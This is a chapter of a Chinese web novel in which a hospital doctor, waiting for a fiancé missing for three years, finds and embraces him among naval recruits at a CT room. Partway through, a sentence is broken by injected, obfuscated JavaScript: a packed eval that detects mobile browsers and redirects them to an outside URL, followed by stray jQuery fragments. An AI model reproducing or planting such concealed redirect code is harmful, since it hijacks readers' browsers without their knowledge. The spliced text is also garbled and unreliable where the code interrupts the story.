3. 002

作品:《让我忘记你的脸

    上一次提到“未婚夫”三个字还是三年前。那时候许悠然是世界上最幸福的人。


    说到这里,余月看到许悠然似乎堕入了一个神秘而美好的幻境,她脸上浮现出从未有过的微笑。甜蜜、满足、幸福,仿佛她没有经历过任何痛苦,是个一直被快乐萦绕的小女孩。


    这和平时的许悠然判若两人。


    可余月却高兴不起来,因为许悠然的笑,让她想起了看过的电视剧。沉溺于某些不可说的往事无法自拔而疯掉的女主角,最后在现实和过去中纠缠,疯疯癫癫死去。


    这个联想让余月浑身一冷,说话都开始打结:“好……好……吃完饭……我就给李主任打电话。”


    许悠然朝余月微微一笑:“谢谢你,我好久没见到他了,我很想他。”


    “你们什么时候订婚的啊?”


    余月觉得许悠然的话漏洞百出,但她好像并没撒谎。但世界上怎么会有人苦苦等一个失联三年的未婚夫呢?许悠然甚至连他是空军还是海军都弄不清楚。


    高级杀猪盘遇到许悠然这个傻白甜了。余月在心里判定。可什么杀猪盘能杀二十七年啊?从出生就认识的人,那不是青梅竹马吗?余月不得不否定杀猪盘这个可能。


    “嗯,订婚了,三年前,那个时候我还在军医大学。”


    “他也在这里参军?”余月顺着许悠然的话胡诌。


    许悠然摇摇头,露齿而笑,脸上满是骄傲,“他在西北,航校毕业的时候别人都授少尉军衔,只有他被破例授予中尉军衔,后来才三年就立功,破格提拔为上尉呢!他特别厉害!教官说他会是二十年来最年轻的少校飞行员。”


    她像个拥有绝世珍宝的孩子,忍不住向所有人展示炫耀,脸上是明晃晃的自豪和得意。


    余月惊得嘴巴微张,手在饭桌下悄悄掐了掐自己的大腿。


    这不是梦。


    那个穿白色军装的人明明是海军现役军人,虽然隔得远没听清他们说什么,但是凭她的眼力一眼就认出,那个人是“一毛二”,根本不是许悠然说的“一毛三”。


    细节越多越逼真。谎言经不起细节推敲。许悠然没说谎,那只有一种可能,她看错了!假如她没看错……余月想到自己刚才的联想和失联三年这个关键信息,突然浑身僵滞。


    她再也吃不下饭了。一定是许悠然看错了!她强装笑脸,附和道:“这么优秀,难怪你从来不提他,是不是怕被人抢走啊,哈……哈哈……”


    许悠然像个情窦初开的小女孩,脸上竟然泛起了微红,她抬起下巴,“哼”了一声,一脸笃定:“他才不会呢!”


    余月张口结舌,想不出该怎么接话。胡乱扒拉了几口,就谎称吃饱了。


    许悠然今天破天荒吃得不少,她吃完最后一点菜,优雅地擦干净嘴角和桌面,把餐盘放回回收处,这才催促余月,“快打电话,晚了李主任该午休了。”


    余月不敢拒绝,唯唯诺诺掏出手机拨通了体检中心李主任的电话,躲到角落里去讨人情了。


    不一会儿,她走回许悠然身边,满脸歉意:“这下尴尬了,李主任说体检名单涉密,不能随意泄露,不过他说今天机器临时故障了,明天还有几个项目要检查。你要找他的话明天上午去体检中心。”


    许悠然听到名单不能外泄,脸上满是失望,但听到明天还要补检,少女般的喜悦马上取代了失望。


    她原本就生得很漂亮,大大的眼睛,漆黑的眸子,看起来可爱又可亲,白皙的皮肤,小巧的嘴巴,尖俏的下巴,几颗散落在脸颊的痣,不笑的时候有些清冷,仿佛自带结界,一笑起来却完全换了天地,只觉得灿烂又明媚,让她看起来有着同龄人没有的天真感。


    余月看着她变幻莫测的脸,心里七上八下。明天不会出什么事吧?她由衷地希望是许悠然看错了,她的好朋友,南海医院尽职尽责的骨科医生,脑子不可能出问题!


    许悠然回到宿舍的时候已经是晚上八点。有几个加号病人来看腰椎,她不忍心让人白跑一趟,硬是看完了才下班。幸好宿舍就在医院旁边,她拖着疲惫的身躯躺倒在床上,目不转睛地看着天花板。


    天花板光秃秃的,不止天花板,整间宿舍就像余月说的那样,家徒四壁,敷衍了事。


    早已经过了饭点,中午吃得多她也不觉得饿,快速冲了个澡,打开衣柜挑衣服。


    放眼看去,她的衣柜几乎全是黑白灰。三年来,她买衣服都是同款黑白灰各一件,仅有的几条连衣裙也是素色,顶多在底色上增添点浅蓝色、天蓝色、藏蓝色、湖蓝色的花纹或滚边。


    蓝色,是天空的颜色,也是她最喜欢的颜色。


    她比来比去,终于挑出一件白底点缀浅蓝色羽毛纹样的连衣裙。


    她换上裙子,对着洗手间仅有的一面镜子照了照。镜子是宿舍的前主人留下来的,有些年头了,上面斑驳着点点痕迹,不是很清晰。


    镜子里依稀浮现出一个身材纤细修长的女孩。裙子衬得她肤色胜雪,更像一个不谙世事的学生。


    她很喜欢这条裙子,这条裙子很像她三年前订婚时穿的那条,有代表医生的白色,有代表天空的蓝色。


    白色是她,蓝色是他。他们会永永远远在一起,就像小时候那样。


    她小心翼翼地脱下裙子,生怕不小心弄出折痕,索性挂在床对面的墙上,这样她可以看着裙子入睡,就像三年前订婚前夜那样。


    又几乎是一夜未眠,她只在天快亮的时候才迷迷糊糊睡了会儿。


    这一切都和三年前一样。


    三年前她也是怀着这样激动又期待的心情难以入眠。这么想着,她恨不得马上就天亮。天亮了,她就可以回到三年前,回到她最幸福的那一天。


    “许医生早啊!裙子很漂亮喔!”


    “许医生今天看起来不太一样啊!”


    “许医生今天气色真好!”


    一路上同事纷纷和许悠然打招呼。有调侃的,有称赞的,但更多的还是惊讶。他们从来没见过这样神采飞扬的许悠然。她化着淡妆,窈窕的身影在白大褂里翩然生姿。有人忍不住跟余月打听,许医生是不是谈恋爱了?


    许悠然今天是下午的班,但她还是早早来了门诊部,坐在余月旁边协助她。有她的帮忙,不到十二点两人就闲了下来。


    许悠然不住看表。


    “李主任,那我们现在过来了哈!”


    余月挂上电话,有些期待又有些忐忑地说:“走吧走吧,李主任让咱们赶紧过去,现在人都在CT室呢。”


    她脚步有些踌躇,许悠然今天的反常她全看在眼里。她突然有些怕,她不知道会发生些什么,会不会伤害到许悠然。


    许悠然完全没察觉到余月的不对劲,脚步轻快又坚决,几乎是拖着她往体检中心走去。


    CT室外的椅子上坐着十来个穿着海军制服的人,哪怕是在等候,也都正襟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107774|163966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    危坐,端正挺拔。


    许悠然停住脚步,有些不自在地扯了扯裙摆。她脱了白大褂,此刻看上去完全是一个要去见心上人的少女,近乡情怯,踟蹰不前。


    “去呀。”


    余月轻轻推了她一把。


    死就死吧,死得明白总比当个糊涂鬼好。她实在太想知道到底是怎么一回事了。


    许悠然深吸一口气,攥了攥拳头,朝那些人走去,仿佛一个要上战场的壮士。


    她一个个看过去,像在婚宴里玩“找新郎”游戏的新娘。


    那些小伙子哪里被人这样看过,忍不住纷纷侧目,好奇又略带羞涩地看着这个漂亮的女孩子。


    不是……不是……这个也不是,都不是。


    从走廊这头到那头,不过十来米的距离,却好像是她走过的最长的路。


    她站在走廊尽头,绝望得几乎要哭出来。


    三年前不是这样的。


    三年前,她挽着爸爸的胳膊,从红毯的这头走到那头,尽头处是他在等着她。


    “下一位。”


    “叮”的一声,CT室的自动门开了,扩音器里传来医生叫号的声音。


    一个高大的身影从门里走了出来。他背对着许悠然,正在整理衣服。宽肩窄腰,即便是宽松的裤子也依稀可见修长结实的双腿,发达的大圆肌和背阔肌把军装撑得满满的,他正准备把帽子戴回去。


    短而黑的头发修剪得很利落,露出白皙的耳朵和好看的鬓角。


    许悠然忍不住揉了揉眼睛。


    她怕自己眼花,又确认了一次。绝对不会错,这是他的耳朵。小时候她常常取笑他的耳朵像大耳朵图图,可爱又好认,撒娇的时候她会趴在他背上,故意捏着他的耳朵说:“让你欺负我!”


    三年了,她不敢看这张脸的任何影像记录,怕自己只看一眼就会崩溃。她只敢在梦里和这张脸相见,可是梦终究只是梦,她摸不到他,也感受不到他的温度。


    当这张脸切实地出现在面前,她才知道自己有多盼望再见到他。哪怕痛哭流涕的样子再丑,她也不管。


    失望、委屈、伤心、惊喜、激动、酸楚,各种情绪一齐涌上来,淹没了许悠然仅存的一点理智。


    她快步上前,在所有人都没反应过来的时候紧紧抱住了那个她魂牵梦萦的身影。


    眼泪再也止不住了,她用力感受着怀里的人。一样的高度,他抱着她的时候她的头正好靠在他胸口。一样的温度,她总是撒娇故意推开他,说他体热,让他离自己远一点。可是在北国的冰天雪地里,他又是她最好的暖手宝,抱再久都舍不得放开。


    眼泪打湿了那人的背,他没有推开许悠然,只是静静站了一会儿,然后握住她的手,慢慢拉开。


    似乎经历了一个世纪那么漫长的煎熬,许悠然既期待他的转身又怕他转身。


    终于,他似乎下定了决心,松开许悠然的手,缓缓转过身,微笑看着眼前泪水涟涟的人。


    许悠然愣了愣,眼泪模糊了她的视线。但是她从未像此刻这样清晰地辨认出他的模样。


    浓眉深目,高挺的眉骨在眼眶投下一片阴影,她还记得她经常取笑他自带墨镜。他却一扬眉,食指和中指并拢在眉边敬个礼,笑盈盈地说:“不好看吗?”


    一模一样的微笑。真的和三年前一样。


    “郑骐,你回来了!”


    许悠然不顾一切地扑入了他的怀抱。